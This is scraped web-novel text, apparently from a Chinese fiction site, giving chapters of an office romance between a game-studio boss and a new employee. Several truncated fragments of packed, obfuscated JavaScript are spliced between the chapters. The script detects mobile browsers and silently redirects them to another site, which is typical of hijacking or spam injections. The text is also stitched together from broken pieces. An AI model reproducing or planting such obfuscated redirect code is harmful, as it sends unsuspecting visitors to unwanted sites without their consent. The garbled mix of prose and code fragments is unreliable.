d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112475|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心人看见,给她惹来麻烦。 毕竟她在办公室的身份就是农村进城的打工妹。 忙碌一上午,田妙妙还没把展会筹备的最新进展报告发给池修白。 平时她都是早上统计完前一天的进展,十点左右整理好文档,发给池修白过目。 今日份的已经整理完毕,就是碍于面子,迟迟没有发送过去,她打算等池修白催她的时候再发。 结果直接等来他的质问信息。 池修白:今日份的汇报呢? 池修白:到我办公室来! 田妙妙心里直咯噔,为什么要让她去他办公室,不是应该直接让她赶紧发过来才对吗? 田妙妙把文档发送过去后,方才忐忑不安地跑去池修白办公室敲门。 进门后,田妙妙蹑手蹑脚地走到他办公桌前。 池修白默不作声地把她刚发来的文档点开浏览完。 田妙妙提心吊胆地等着他发表看法。 奈何池修白叉掉文档后,转而处理其他工作了,修长骨感的手指在键盘上翻飞,双眼一直盯着屏幕没有移开,完全把她当成空气。 气氛变成粘稠的浆糊,田妙妙有种脖颈被攥住的感觉,呼吸需要很用力才行,她一句话也不敢说。 又过了几分钟,她的双腿有点酸软,忍不住出声:“老板,我可以回去了吗?” 池修白这才抬头,双手交叉,下巴抵在手背上,直直地望着她。 “我还以为你不打算开口跟我说话了。” “没。” “知道自己犯了什么错吗?” 田妙妙想了想,说:“不该赌气。” “错。”池修白说:“是个人都会有脾气,你的错误是不该把情绪带到工作上。” “我没有。”田妙妙小声狡辩。 “跟我生气,所以连基本的汇报工作都不做了,这叫没把情绪带到工作上?”池修白继续说:“难道你还想端杯咖啡来我办公室泼我一脸,才叫有情绪?” 他沉声说话时,很有压迫感。 田妙妙一贯要强,此刻像个被老师批评的小学生,委屈害怕的情绪涌上心头,鼻子酸酸的。 视线越来越模糊,田妙妙强忍着,不想让眼眶中的水雾落下来。 太丢人了。 池修白叹了口气,他只是指出她的错误,还没有打算惩罚她,她就委屈哭了。现在的职场新人承受能力这么差吗?按理说,以田妙妙的性格韧性,不应该啊。 池修白突然想到,田妙妙喜欢自己,被喜欢的人批评了,的确会很难堪。 “你回去好好想想吧。”池修白说。 田妙妙缩着肩膀,鼻音很重地“嗯”了声,始终低着头,走出池修白的办公室。 出来时,还撞见裴文山。田妙妙见鬼似的狼狈逃走。 裴文山这才收回视线,进池修白办公室后,好事地说:“你把田妙妙骂哭了?那妹子眼睛红得跟兔子似的,我看着都心疼。你不是对人感兴趣嘛,还舍得骂?” “我公私分明。”池修白一脸坦然。 “啧啧,你这就不懂了,女人在乎的是什么?是特殊性,是对方为她打破原则,是一向公私分明的人开始偏袒她。”裴文山开始传授他的恋爱经,“你再这样下去,小心把人吓跑了。” 池修白哼声:“她能怎么跑,她跑不掉的。”住在他的地盘上,工资也是他发的,跑得了和尚还跑不了庙呢。 “你可不要小瞧这种姑娘,越老实的人反抗起来越猛烈,到时候一声不吭离职走人,打得你措手不及。” “不好意思,她非但不会走,还计划着转策划岗。” 彼时,池修白自信满满,全然没有意识到,裴文山的话就像一句谶语,日后田妙妙真的带着项目经验头也不回地离开他。 30. 第 30 章 田妙妙没回办公室,去了休息露台,她每次一哭,都会来这边吹风。 这次没人来安慰她,微信上弹出好几条@她的工作群消息,田妙妙赶紧擦干泪回去处理工作,社畜的悲哀就是,连躲起来哭都是一种奢侈。 中午,田妙妙在食堂解决完午饭,回办公室午休。 或许是上午哭过的缘故,中午怎么都睡不着,她拿出手机,决定开局游戏发泄一下心中苦闷。 刚登上游戏,还没清完界面的红点,屏幕上突然弹出一条好友组队邀请。 是池修白。 平时他都不上线的,更别说主动邀请她打游戏,真是太阳打西边出来了。 可是昨晚刚闹过别扭,上午又被他批评,实在是不好意思面对他。 但是,这种机会实在难得…… 田妙妙纠结来,纠结去,邀请的时限就这么耗过去了。 她心里翻涌起一点点可惜之情。 然而,很快池修白又发来一个新的邀请。 这更出乎意料了。邀请一遍没同意后,他这种高傲的人居然还会继续邀请,这简直是太阳在天上蹦迪了。 这一次,田妙妙不再犹豫,点了接受。 由于现在是午休时间,为了不打扰到小憩的同事,田妙妙全程静音,和池修白零交流。 池修白照例是拿功能辅跟着她,不停地给她创造爽到爆炸的击杀条件。 田妙妙越打越好,甚至还拿了个四杀。 一局结束,她突然意识到,刚才两个人非但没开麦说话,连在局内打字交流都没有,什么时候两人配合得这么默契了? 池修白继续邀请她组队。 有了第一次,田妙妙就不再推拒,秒点接受。 这次射手位被路人秒选,田妙妙只能选中单,池修白补位打野。 没了池修白保姆级别的辅助,田妙妙的游戏世界顿时袭来狂风暴雨,她对线时,根本对不过对面中单,很快就被对方逼到了塔下。 眼看对面要越塔杀她,神出鬼没的打野突然现身,一套丝滑连招把对面打成残血,甚至连闪现都被逼了出来,却还是没能逃掉。 池修白没有直接击杀对方,而是打信号让田妙妙来拿人头。 田妙妙果断跟上,顺势收下敌方中单人头。 不得不说,这种被保护、被喂饭的感觉真不错啊~ 做完这一切,池修白离开中路,深藏功与名,继续刷野抓人带节奏。 射手菠萝仔打字:中单这么菜,打野居然还肯让人头,你俩是情侣? 田妙妙脸一热,心跳加快,快要赶上刚才收人头的那一刻。 情侣什么的,两人当前的配合确实蛮像的,打游戏的池修白……的确男友力爆棚。 田妙妙不知道该怎么回复射手,索性忽视这条信息。 不料,却看见池修白回复—— 看出来了还多嘴? 刚平复下来的心跳因为这条局内消息,再度疯狂加速,田妙妙手一滑,当场表演一个闪现撞墙。 他在搞什么啊?为什么要发这种暧昧的话,真是疯了…… 接下来,田妙妙根本没法集中注意力,打得那叫一个下饭,好在池修白屡屡现身中路帮她解决危机,以致于她的战绩没有那么惨烈。 而池修白表现更是牛的没话说,完全carry节奏,贡献全队一多半的输出,毫无疑问的MVP。 结束后,田妙妙立马下线缓缓。 明明知道他刚才的回复只是敷衍队友,作不得真,可心里的小鹿仍是兴奋得蹦跶个不停。 池修白发来一条微信。 田妙妙快速点开。 -消气了吗? 原来邀请她打游戏是为了道歉。好吧,她现在的确不生气了。 取而代之的,是隐秘心动。 田妙妙:没生气。 池修白:行,你说什么就是什么。 这话怎么听起来,有那么一丝丝宠溺呢……田妙妙赶紧拍拍脸,默默告诉自己别瞎想。 下午,工作室临时召开一次会议,还是和展会相关,田妙妙作为跟进展会筹备状况的重要一员,自然不能缺席,这一天历经大起大伏的情绪波动,田妙妙有些心虚,整个会议期间都不敢直视池修白的眼睛。 而池修白仿佛故意跟她过不去,动不动点名让她发言,问她搭建商那边什么进展,展台用品筹备得怎么样了,嘉宾和主持有没有确定人选,现场流程还有没有需要优化的。 田妙妙心想,她不是在每天整理的汇报上都详细记录了吗,干嘛还要在会上再问一遍,但还是老老实实地回答了。 散会后,田妙妙等到其他人都散场,找到池修白问出心头的疑惑。 池修白:“你是新人,你不发言别人怎么知道,你这段时间具体干了哪些活?该表现的时候要适当表现,下次别让我提醒,自己主动说。” 他这是在……帮她请功? 她回想了一下,好像在她条理清晰的发言过后,参会的不少人看她的目光都发生了变化,从轻视到认可。 不得不说,池修白这人虽然有时候嘴毒不饶人,还眼高于顶看不起她,但也有这种很靠谱,愿意指点她的时刻,散发着职场引路人的魅力。 快下班的时候,田妙妙收到了一条顺丰的快递信息。 她想起来,这是昨天池修白说过的,给她买的睡衣,发货挺快,第二天就到了。 过了半小时,她又收到了一条新的快递信息。 这又是什么?她不记得她近期有网购啊。 田妙妙没多想,可能是快递小哥发错了。 然而,接下来的一个小时,她陆陆续续收到了五六条快递信息。 田妙妙吓到了,这是她的信息被泄露了吗? 她自问平时对隐私安全的保护做的蛮好,丢快递盒之前都会用马克笔专门把收件信息涂黑,也不会在任何网站或店铺留下自己的真实信息。到底是谁泄露她的信息,还给她寄了那么多未知快递,这太恐怖了! 关键的是,地址还都是池修白的那套房子。 她记得自己网购留的地址,是工作室的呀。现在不仅是自己的手机号被泄露出去,连带着池修白的住址信息也被窃取了。 此事非同小可,田妙妙赶紧通知池修白。 田妙妙:老板,不知道谁突然盗取了我的号码,还有你的住址,给我寄了好多快递,太吓人了,要不要报警? 池修白:…… 池修白:有没有可能那是我给你买的睡衣。 田妙妙:不是的,我收到的快递信息不止一条,现在已经收到六条了! 池修白:有没有可能我买的睡衣不止一套呢。 田妙妙:…… 田妙妙:哎呀,你早说嘛,吓死我了。 池修白:慌里慌张。 田妙妙:老板,你买了几套啊? 池修白:大概三十套吧,差不多在十几个店铺下单,你之后还会收到新的收件信息。 田妙妙:!!!这么多,怎么穿的过来? 池修白:一天一套换着穿呗,一个月就穿完了。 田妙妙无语望天,她大学四年所有的衣服加起来,都没有三十套,她真的想跟有钱人拼了! 田妙妙下班后,从快递柜抱了一叠包裹回家。 拆开后,田妙妙伸手摸了下,睡衣料子很滑,质感特别好,她都不用在网上搜,都能猜到一定很贵。 池修白最近是大款瘾发作了吗,又是给她送手链,又是给她送一堆睡衣,简直挥霍无度。 那条手链,她按捺不住好奇心,上网搜过价格,虽然池修白说都是碎钻不值钱,但这条手链是奢侈品珠宝品牌的,价值不菲,她一年工资都不够一条。 他对她突如其来的的大方,究竟有什么图谋呢? 还是说,他其实对每个女人都很大方? 田妙妙甩了甩脑袋,不再去思考池修白的心思, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116601|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反正有那封信在,池修白不会对她不管不顾,就算将来两人彻底闹翻脸,他念在母亲的情面上,应该也不至于让她还钱的。 思及此,田妙妙就安心多了。 池修白比田妙妙下班晚,回来时已经12点,近期除了要忙展会的事,还有就是《逐鹿天下》的海外版即将上线。比起《无限异变》,他其实更看重《逐鹿天下》海外版的盈利能力。对于这款游戏的本地化适配情况,和海外发行能力,他格外上心。 池修白回到家后,客厅的灯居然是亮着的,田妙妙平时11点就睡觉了,以她的节俭水平,不会不关客厅灯的。 池修白往里客厅里望,在沙发上看见蜷缩着的田妙妙。 怎么睡在这里,而且还缩成一团,生病了? 池修白心里一紧,快步上前,伸手去探田妙妙的额头。 温度正常,没有发烧。 他的手微凉,触碰到额头的时候,田妙妙被凉意惊醒,睫毛颤动,缓缓睁开眼。 她睡眼惺忪,挣扎着支起上半身,看见池修白后,困倦开口:“你回来了?” “怎么睡在这?不怕受凉?” 田妙妙坐起来,抬手揉了揉眼睛:“我在等你下班,一不小心睡着了。” “等我?是有事吗?”池修白胸腔泛起一阵热意,看着她温顺的样子,活像一个等新婚丈夫下班回家的小妻子。 他以前从未和其他女人同居过,乍然体会到一种家庭的温暖,有种想把她搂紧怀里揉搓一顿的冲动。 不过,忍住了,突然来这么一下肯定会把人吓跑的。 田妙妙微仰着小脸,眼里迷瞪瞪的,他俊帅的面庞带着一点模糊的感觉,格外的温柔。 “没什么事,就是想跟你说声谢谢,睡衣已经收到一部分了。” 池修白见她身上还是旧睡衣,便问:“怎么没穿,不喜欢吗?” 田妙妙摇头:“不是,刚才拿去洗了,幸好看了眼吊牌,不然直接放进洗衣机会洗坏的。” “嗯。”池修白的视线落在她身上游移。 此刻,她睡裙上蹿,裙摆堆在大腿根处,一双长腿又直又细。这双腿穿短裙一定很美,不过田妙妙平时大多穿牛仔裤,将这么一双美腿遮的严严实实。 池修白想,这样也好,省得被其他人看了去。 田妙妙回过神来,看见池修白在看她的腿,这才意识到睡裙移位了,她慌忙把裙摆往下一拉,遮住双腿。 池修白心道,这个姑娘有这样的天赋,却不懂得如何展示,多少有些暴殄天物。如果放在会来事的女人身上,此刻恐怕会抬起双腿,缠在他腰上。 田妙妙整理完睡裙,想起来什么,说:“厨房里还保温了一些饭菜,你要不要吃点?” 池修白摇头:“我不吃夜宵,要保持身材,下次不用给我留。” “身材”两个字诱惑田妙妙的视线从他身上滑过,不得不说,池修白很清瘦,是穿衣显瘦,脱衣有肉的薄肌类型,他平时工作那么忙,锻炼的时间并不多,能一直保持低体脂,主要靠的是控制饮食。 常年的自律,使他和同龄人拉开差距,老同学逐渐发福有了小肚子,而他还跟大学时期一样,清俊挺拔,穿什么都好看。 “我回房间了。”田妙妙打了个哈欠,脑袋困得晕乎乎的,起身时眼前一黑,朝前栽去,池修白眼疾手快地伸手扶她。 他的手臂顺势揽住她的腰,稳住她摇晃的身形。 她的腰肢柔软纤细,手臂放上就不想收回来,她靠在他胸膛处,身上散发着沐浴露的香味,香气化作一条无形的细蛇,往他鼻孔钻,钻入天灵盖,他后脑一片发麻。 明明共处一室好多天,他却真像个合租室友,和她没有任何身体上的接触,自己什么时候这么有耐心了? 池修白低下头,鼻尖蹭到她的发顶,慢慢下滑,额头,太阳穴,耳尖……在唇瓣触碰到耳垂之时,田妙妙如梦如醒,猛地挣脱出他的怀抱,仓皇而逃,躲进房间里。 31. 第 31 章 田妙妙倚着门,后知后觉地面红耳赤,心跳如擂。 方才大脑不太清醒,倒在池修白怀里迷迷蒙蒙的,只觉得他的怀抱很温暖,让人昏昏欲睡,没想到他竟低头磨蹭她,当微凉的唇瓣擦过耳尖,温热的鼻息钻入耳孔时,她半边身子都麻了。 不得不说,她一点都不讨厌和他的亲密接触,甚至还有点喜欢,只感觉身体发软,像冬日泡在温泉里,浑身暖洋洋的,一点都不想动。 可是,两人根本不是那种关系,她在确立关系这件事上,有种说不出来的死板,若池修白不是真心待她,只是想逢场作戏玩玩而已,那她绝对不会同意,哪怕自己很沉浸在他营造的温柔蜜意里。 缓了一会后,田妙妙拖着疲惫的身躯躺到床上。 方才还昏沉的头脑,此刻困意全无,她睁着眼睛直愣愣望着天花板。 发了一会儿呆,她从床上起身,回到客厅。 池修白刚冲完澡,披着黑浴袍在阳台处抽烟,他听见动静,回头看。 田妙妙杵在那里不动。 池修白咬着烟蒂,半眯着眼,冷感褪去,邪性覆上来,看她的眼神像猫看着鼠:“刚才不是逃了,怎么又敢出来了?” 田妙妙闷声闷气:“睡不着。” “药箱里有安眠药,自己去拿。” 田妙妙摇头,幽怨地望着他,她又不是失眠患者,今晚睡不着还不是某人害的。 “是想我唱摇篮曲哄你睡觉?”池修白笑了一下:“多大人了,这不合适吧。” 田妙妙深呼吸,壮着胆子问:“那你刚才……那样,合适吗?” 池修白对刚才的小插曲并不上心,顶多有点遗憾:“又没亲到,不至于吧?” 田妙妙有些焦躁,他的话太过轻浮,衬得她一颗心乱得不合时宜:“你为什么想亲我?” 池修白嘴角浮起一抹玩世不恭的笑,他像个不负责任的渣男,张口就来:“气氛到了,没忍住。” 原来只是气氛的缘故吗,对她难道就没有一点心动吗? 田妙妙身躯里的滚烫热血因他的话而快速降温,她有种说不出的失落和委屈。 “你以后别这样了,我不喜欢。”田妙妙撂下这句话,转身回卧室。 池修白嘴角的弧度耷拉下来,她说不喜欢他的触碰,池修白烦躁地掐灭指间的烟。 强扭的瓜不甜,如果她当真抵触和他有亲密接触,那两人似乎真就没有下一步的可能,他可不想践行柏拉图式的爱情。 打消想入非非的小心思,重新躺回床上的田妙妙,伴着淡淡的失望,总算能入眠了。 * 距离展会开始还有三天,田妙妙紧张到失眠,明天就要开始正式搭建展台,之后还要预留一天时间调试游戏设备和彩排流程。 虽然从池修白提出参展到现在,不足一个月,但大家齐心协力,互相配合,各方面都完成得不错,目前几乎没遇到多少棘手的问题。 田妙妙睡前祈祷一切顺利,最好提前准备的应急预案永远别派上用场。 展台搭建时,除了搭建方的工人,问天工作室也得派人在现场实时监督,及时调整偏差,保证搭建质量。 这份工作自然就落在了田妙妙的肩上,毕竟这段时间一直都是她负责跟进各方进程。 现在到了项目落地期,她更是要负责到底,一个马虎都不能有。 田妙妙毕竟是个年轻女生,只放她一个人到现场,怕镇不住那群工人,保不齐会受欺负。 故而,同部门的孙正阳也被池修白派过去了。 孙正阳这人性格比较会来事,一到现场就给工人们散了一圈烟,两三句话就和他们拉近关系,之后说话办事都容易很多。 田妙妙不得不感概,她确实做不来这一套。 来现场前,原以为只需要监督工人干活,验收搭建效果是否和设计稿一致,但真到了之后,田妙妙就成了一个免费劳动力,需要帮着搬东西,递材料,给工人订餐送水,哪都要她搭把手。 一天下来,一刻也没闲着,终于在搭好展台背景大屏后,她抽空喝口水,孙正阳也累到虚脱,拿瓶矿泉水往她旁边一坐。 “真够累的,我得跟白娘子反应一下,多派点人手过来,就咱两个真吃不消。” 田妙妙点头表示同意,“累得我都要抬不起胳膊了。” 说干就干,孙正阳立马给池修白拨电话。 田妙妙吓了一跳,她以为他们就是凑一起吐槽着玩的,没想到孙正阳真要跟池修白诉苦啊。 池修白接通后,孙正阳扯着脖子哭诉:“老板,赶紧加人吧,我一大老爷们都要吃不消了,更别提田妹子了,小姑娘都被累哭啦。” 田妙妙莫名被扣了个帽子,急得伸手要打他,孙正阳赶紧做了个求饶的手势,冲她疯狂挤眼睛。 “知道了,我再安排两个人过去。” “好嘞,谢谢老板!” 电话一挂,田妙妙立马气道:“你干嘛说我哭了!” “我这是权宜之计,我要光说我累死了,嘴皮子磨破了老板也不心疼啊,说美女累哭了,才招人心疼嘛,你瞧,老板一下都没犹豫,马上就安排两个人过来,咱们今晚也不用熬太狠了。” “唉,就是我的名声啊~”田妙妙叹气,池修白肯定觉得她矫情死了,吃不了苦。 孙正阳乐不可支:“没事儿,白娘子心疼还来不及呢,哪会对你有什么不好的看法,我看结束之后,他还得给你开个表彰会。” “你真是,越说越离谱了。”田妙妙双手合十,虔诚道:“我只求这几天能顺顺利利,圆满结束,别给我开检讨会就行了。” “没事的,真出什么意外那也不是咱们能控制的,到时候交给白娘子摆平。”孙正阳拍拍她的肩膀:“这些都是领导考虑的事。” 不远处的工人喊他们来看摆台搭建效果,田妙妙应了声:“马上来。” 过了一个小时,新来的两帮手到了。 居然是陈驰之和顾念瑶。程序组和美术组各出一人,陈驰之主要负责设备调试和网络运行这一块,顾念瑶则是验收美术效果是否达标。 田妙妙看见他们后,异常欣喜:“没想到是你们!” 顾念瑶立马冲过去抱了她一下:“我听说你被累哭了,立马请缨前来援助,够义气吧!” 田妙妙立马辩解:“没有的事,孙正阳跟老板瞎说的,拿我当借口要人。” 顾念瑶捧腹:“哈哈哈我跟你说,白boss还蛮紧张的,当时他还说要开车送我们来,顺便看看现场情况,结果接了个电话,有别的事不能来了。” “啊,还好、还好,来了之后发现我们骗他的,估计我就要被他骂哭了。” 陈驰之站在一旁,含笑着看着两个人絮叨,没有插话。 等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122562|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工人师傅又喊他们的时候,田妙妙刚要过去,被陈驰之拦下:“辛苦这么久了,你歇着吧,我过去。” “对的,对的,就让他去好了,本来白boss是要派江组长来的,他自告奋勇非要替江组长,这么想干活就让他多干点。” 陈驰之笑了下,眼睛看向田妙妙,说:“愿听差遣。” “咦~我鸡皮疙瘩都要起来了,你快过去吧,师傅又在催了。”顾念瑶把陈驰之打发走。 等他走后,顾念瑶冲田妙妙挑了下眉:“你觉得陈驰之怎么样?有没有考虑在一起试试。” “你瞎说什么呢?”田妙妙羞臊起来:“没有的事。” 顾念瑶八卦道:“哪里没有的事,我看绝对有戏啊,至少陈驰之想追你,不然他干嘛非要过来,他手头还有其他工作,估计这边结束后,还得赶回去加班。” 田妙妙也不好否认陈驰之对自己的心意,如果不承认也太伤人心了,“我知道,就是……” “你不喜欢他。”顾念瑶一针见血地指出,“你一脸犯难的表情,半点少女怀春的样子都没有,看来是真的不心动呀。” 田妙妙点了下头,长长呼出一口气,“是不是挺出乎意料的?”毕竟,从世俗的眼光来看,陈驰之比她优秀太多,她没理由拒绝。 顾念瑶摇头,完全不当回事:“这有什么啊,就是没有眼缘呗,陈驰之又不是人民币,还能人人都喜欢啊。” “当然,还有一种可能就是,你心里对白boss念念不忘,所以陈驰之就算再优秀,你也没有感觉。”顾念瑶凑到田妙妙耳边补了句。 田妙妙巨尴尬,简直想咬舌,自从上次她抱着花,哭着从池修白办公室里出来,被顾念瑶看到后,这个表白被拒的误会就彻底洗不清了。 “求求你,快点忘了那事吧,我可不敢肖想老板。” “你自信一点好不,男人都是很好拿下的,你要是想追的话,我可以帮你出谋划策,就算是池修白也是分分钟拿下。”顾念瑶相当自信,怕田妙妙不信,便夸下海口,“如果我想睡的话,三天就可以睡到裴文山。” 田妙妙震惊:“你不是整天吐槽你们组长不是人吗?怎么还想要睡他?” 顾念瑶不以为然,继续虎狼之词:“谁让他动不动压榨我,那我在床上压榨压榨他也没什么吧?别的不说,他长得还算秀色可餐。” “佩服佩服。”田妙妙冲她抱了个拳。 两人没聊多久,很快就被喊过去帮忙了。 一直折腾到深更半夜,总算把展台主体搭建完成,剩下的就是设备调试和细节装饰,大到背景板,小到一盆花一个气球,都得仔细调整位置,力臻完美。 田妙妙把当前稍显狼藉的现场录了下来,发给池修白汇报进展。 池修白:辛苦了。 池修白:压力太大的话跟我讲。 田妙妙愣了下,这才想起来,孙正阳跟池修白说自己累哭的事。 估计,池修白觉得她是因为压力大才哭的。 与其硬着头皮说自己没事,不如顺便卖个惨? 田妙妙:我有在努力克服。 又发了个打气的表情包。 池修白:等展会结束之后,带你出去放松放松。 这是……老板画大饼? 亦或者……约会? 不管是哪个,田妙妙可耻地发现,自己被勾引到了。 32. 第 32 章 一直忙到凌晨一点,展台总算搭建完毕。 今天是她上班以来加班最晚的一天,还好场馆人多,不至于太孤单。 最终验收报告这块,田妙妙尚未转正,权限太小,没有签名的资格,由孙正阳代签了。 等十多名工人们全部散去后,《无限异变》的展台只剩他们工作室的四个人,开始计划着如何回去。 顾念瑶打了个哈欠,主动说:“哎呦不行了,实在困死了,我家离这边近,我就不回办公室了,我直接打车回去。” “行,你小心点,到家后报个平安。”孙正阳扭头问田妙妙:“你呢,你怎么回去?” 来的时候她是坐孙正阳的车过来的,现在孙正阳这么问,田妙妙一下子就反应过来,孙正阳应该也不打算回办公室了。 田妙妙忙说:“我打车回去。” 陈驰之立马接上:“我开车来的,我送你们吧。” 陈驰之很有风度,提出送两位女士回家。 顾念瑶摆摆手,晃了晃手机:“我已经打完车了,还有两分钟就到了,你就送妙妙吧,一定要把她安全送到家。拜拜,我得去门口等着了。” 田妙妙和她挥手道别。 看到有人送田妙妙,孙正阳放心多了:“行,那你俩一块走吧,我也直接回去了。” 等他们两人走后,陈驰之和田妙妙并肩而立,田妙妙很犹豫,她现在借住在池修白那里,小区是S市知名的顶奢楼盘,她不敢让陈驰之送她过去。 陈驰之:“你和我一起去开车,还是在门口等我?不过现在是凌晨,我怕留你在门口等不安全,要不我们一起走?” 和其他粗神经直男相比,陈驰之属于体贴入微挂的,他的顾虑周到又细致,任谁都难免动心,可惜田妙妙心里有人。 田妙妙点头,和他并肩一起走。 陈驰之额头上还残留着薄汗,从过来后他一直在忙,还没来得及跟田妙妙聊天,现在难得安静,他发出感慨:“有你陪着,加班也不难熬了。” 田妙妙尴尬又不失礼貌地微笑。 “那我还是希望不加班。” “忙过这几天会好很多。” “你是不是还有其他工作没做完?” “没事,我可以带回去做。” 田妙妙突然想到了个法子能避免他直接把她送到家,她说:“我也有别的事情要处理,要不你等会直接把我送到工作室吧。” 陈驰之步伐一顿,神色忧虑:“现在会不会太晚了,要不还是直接回去休息吧。” 田妙妙摇头:“没事的,比起休息还是工作更重要一点。” “你也太拼了。”陈驰之好奇:“是很重要的事情吗?” “是的,老板下午还催了好几次,我得赶紧回去弄好后发给他。” 田妙妙把池修白搬出来,让他充当压榨员工的无良老板。 陈驰之不解:“不会吧,白神是最不主张加班的。” “唉,我和你们这些校招高材生不一样,我是走狗屎运才被录取的,要是不拼命点,恐怕都过不了试用期。”田妙妙给出的理由合情合理。 “不用担心,就凭你筹备展会期间做的这么多事,肯定能过实习期的。”陈驰之宽慰她,再说,没有老板会给不看重的试用期员工安排重要工作的。田妙妙恐怕是当局者迷了。 “我可不敢居功啊,得万分小心才好,你还是送我回办公室吧,你一定不想看到我因为没及时完成工作内容,而过不了试用期吧?” 两人走到陈驰之车边,是辆崭新的智能电车,毕业当天父亲送给他的礼物。 陈驰之绅士地帮田妙妙打开车门,田妙妙道谢,心里负担又加重一分,他太好了,好到她心生愧疚。 上车后,陈驰之导航回工作室:“那就按照你说的来,先送你回工作室,正好我也回去拿一下电脑,等你处理完工作,我再送你回家。” 田妙妙心头一颤,忙说:“不用,我到时候直接打车回去,我租的地方离工作室蛮近的。” 陈驰之摇头:“我总不能把你一个人放在办公室,自己先走了吧,现在这么晚了,你叫我怎么放心。” 田妙妙欲哭无泪,这是一定要送她回去吗?她完全不想暴露自己住在豪宅区啊,到时候陈驰之会怎么想她呢?觉得她被有钱人包养了? 田妙妙背上冒出冷汗。 陈驰之余光看见田妙妙面如死灰,他关切地问:“你怎么了,脸色这么差?” 田妙妙勉力一笑,“没什么。” 算了,船到桥头自然直,陈驰之如果误会那就误会吧,说不定也能对她死心了。 两人到了工作室。 意外的是,工作室走廊居然还亮着灯,想不到这个点居然还有人在加班。 “哪个倒霉蛋还在加班?”田妙妙不由得感慨一声。 紧接着,她口中的倒霉蛋端着咖啡从茶水间现身。 哦豁,是池修白。 田妙妙眼睛都瞪大了。 “回来了?”池修白冷冽的目光平静地看着两人。 陈驰之忙道:“是的,我回来拿电脑,田妙妙还要处理工作。” 田妙妙乌黑的眼珠子提溜一转,立马对陈驰之说:“要不你先回去吧,不用等我了,我正好要跟老板汇报工作,等结束后,麻烦老板送我一程吧。” 陈驰之的视线在池修白和田妙妙之间来回移动,他说:“没事,不用麻烦老板。” “不麻烦,是我有事找她,理应给她送回去。”池修白温和地说,“你先回去吧,路上小心。” 既然老板都这么发话了,陈驰之也不好多说什么,只点点头,道:“好。” 田妙妙正要转身去开门,就见池修白眼角一瞥,沉声:“到我办公室来一趟。” “哦。”田妙妙快步跟上。 进了办公室,池修白喝了一口咖啡,把杯子放下,闲散地坐在办公椅上,抬头看着田妙妙的脸。 他瞧得仔细,许久没有移开视线,田妙妙被他盯得心里发毛,浑身不自在。 “我脸上有东西吗?”田妙妙抬手轻轻摸脸。 池修白这才开口,语调微扬,声音很轻:“今天哭鼻子了?” 真是怕什么来什么,田妙妙就怕他提这事,结果预感成真,没躲过去。 “啊……”田妙妙张了张嘴,发出一声长长的声调,尴尬地抬手挠了下鼻尖。 池修白将她手足无措的紧张反应尽收眼底:“怪不怪我给你安排这个活?之前组织展会这一块是由姜星负责协调的,没有专门让没什么经验的新员工做过这事。” “我知道这是个很好的锻炼机会。”虽然辛苦,压力很大,但能快速成长,田妙妙还挺感激的。 池修白:“其实我在想,你会在哪一天撑不住情绪崩溃,没想到这大半个月一声不吭熬下来了,我还蛮意外的。” 田妙妙紧绷的情绪渐渐舒展开来,一股得意和满足的情绪充盈胸腔,原来他曾笃定自己会放弃,而她却坚持下来了,已经超出他的期待,那么接下来就算有什么不尽人意的地方,他也不会怪罪她的吧? “毕竟我还在试用期嘛,如果不咬牙坚持就转正不了。”田妙妙狡黠一笑。 池修白点点头,很有权威地宣布:“得展会结束后,我给你批提前转正。” 田妙妙的眼睛顿时亮起来,这些天因工作产生的焦虑和内耗一扫而空。 今天真是个好日子,池修白居然要给她提前转正。还记得一个多月以前,他百般讥讽,让她放弃进问天,如今却因为认可她的功劳和能力,许诺她提前转正。 她忽然想起什么,又问:“那你下午说的,展会结束后带我出去放松,还算数吗?” 不过,如果能提前转正的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128706|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪怕不出去玩,也无妨。 “当然。”池修白道:“我说出的话都会兑现。” 田妙妙喜不自胜:“真想展会赶紧结束啊,我要休假,我要转正!” 见她这么高兴,池修白也跟着乐起来,她的情绪很具有感染力,总能轻易地影响他。他低头看了眼腕表时间:“收拾东西,下班吧。” 他没有工作要处理吗?怎么她一回来他就要下班了,田妙妙小脑袋瓜子一转,心中有了猜想:“你到现在还没回去,是在等我吗?” 